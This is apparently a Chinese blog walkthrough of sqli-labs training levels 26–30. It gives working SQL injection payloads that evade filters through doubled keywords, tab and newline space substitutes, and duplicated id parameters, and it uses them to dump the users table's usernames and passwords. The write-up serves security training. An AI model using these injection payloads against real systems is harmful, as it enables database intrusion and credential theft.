sqli-labs靶场第26-30关

第26关

这关将逻辑运算符,注释符以及空格给过滤了

我们先使用单引号进行闭合

这时我们查看源代码可以看到这一关过滤了很多字符

可以看到这里将or and / -- # 空格等字符都被注释了

空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过

因为报错注入空格少,所以这里我们使用报错注入

查询数据库名

复制代码
?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1

查询表名字段名以及字段下的数据

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1 
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1

我们获取到了数据库的数据自此通关

第26-a关

这关的闭合方式与26关不同,需要闭合')

复制代码
?id=1'aandnd'1

我们让页面报错发现页面没有报错只有一个警告

这里我们就不能使用报错注入了,所以我们使用布尔盲注

第27关

查看是否可以控制

?id=1

?id=2

可以控制

查看代码是否能直接在MySQL中执行

?id=1'

我们现在找一下他的闭合是什么

我们先试一下--+

发现网站给我们过滤掉了

这时我们试一下 and'1 闭合

页面回显正常说明网站不会过滤 and'1 得到网站是字符型

使用order by排序或者group by分组来猜测表有几个字段

我们猜测它有三列

?id=1' order by 4 and'1

我们发现输入的时候它给我们把空格过滤掉了所以我们使用%09 替换空格

%09 utf-8 可以当空格使用

我们猜测他有四列

?id=1%27%09order%09by%094%09and%271

回显成功

我们猜测它有七列

这时也回显成功,继续试的时候也是这样

发现使用 order by 不管用了,这时我们继续下一步,我们使用联合查询来猜

使用联合查询union select查看回显

复制代码
?id=9999%27%09uNion%09sElect%091,2,3%09and%09%271

我们查看到 2 回显数据

通过内置表查询数据

(1)使用联合查询查看表的名字

复制代码
?id=999%27%09uNion%09sElect%091,database(),3%09and%271

表的名字为security

(2)使用联合查询查看security中的所有表名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09and%271

看到security中有四个表我们要查看的表为users

(3)继续使用联合查询查看users的所有字段名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),3%09and%271

可以看到表中的名字id,username,password

(4)使用联合查询查看表中的数据

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(id,username,password)%09from%09users),3%09and%271

获得表格中的所有账号密码。

第 28 关

该关卡过滤了注释符空格还过滤了union和select,所以我们可以使用重写绕过

查询数据库名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),3%0Aand('1

查询表名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

查字段名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

查数据

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(id,username,password)%0Afrom%0Ausers%0Aand%0A('1

第 28-a 关

该关卡只过滤union+select其他没有过滤

直接使用联合查询就行

第 29 关

这关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

查询表名,字段名,数据

复制代码
?id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2' union select 1,group_concat(password,username),3 from users--+

第三十关

第三十关和二十九关差不多,将单引号换成双引号

查询表名,字段名,数据

复制代码
?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+
相关推荐
尽兴-1 小时前
达梦数据库CASE WHEN条件
数据库·oracle·达梦
遗忘妳1 小时前
PostgreSQL初体验
数据库·postgresql
YuTaoShao3 小时前
Java八股文——Spring「Spring 篇」
java·数据库·spring
新知图书4 小时前
扣子数据库实战案例:搭建AI登记助手
数据库·智能体·扣子
麦兜*4 小时前
【Mysql及各种关系型数据库全面对比与深度解析(2025版)】
数据库·sql·mysql·postgresql·oracle·sqlserver·mariadb
扶光与望舒呀4 小时前
mysql 的卸载- Windows 版
数据库·mysql
星垣矩阵架构师5 小时前
架构设计之存储高性能——非关系型数据库(NoSQL)
数据库·架构·nosql
明月看潮生5 小时前
青少年编程与数学 01-011 系统软件简介 16 Redis数据库
数据库·redis·青少年编程·编程与数学
明月看潮生5 小时前
青少年编程与数学 01-011 系统软件简介 15 MongoDB数据库
数据库·mongodb·青少年编程·编程与数学
喵叔哟5 小时前
第7章:Neo4j索引与约束
数据库·oracle·neo4j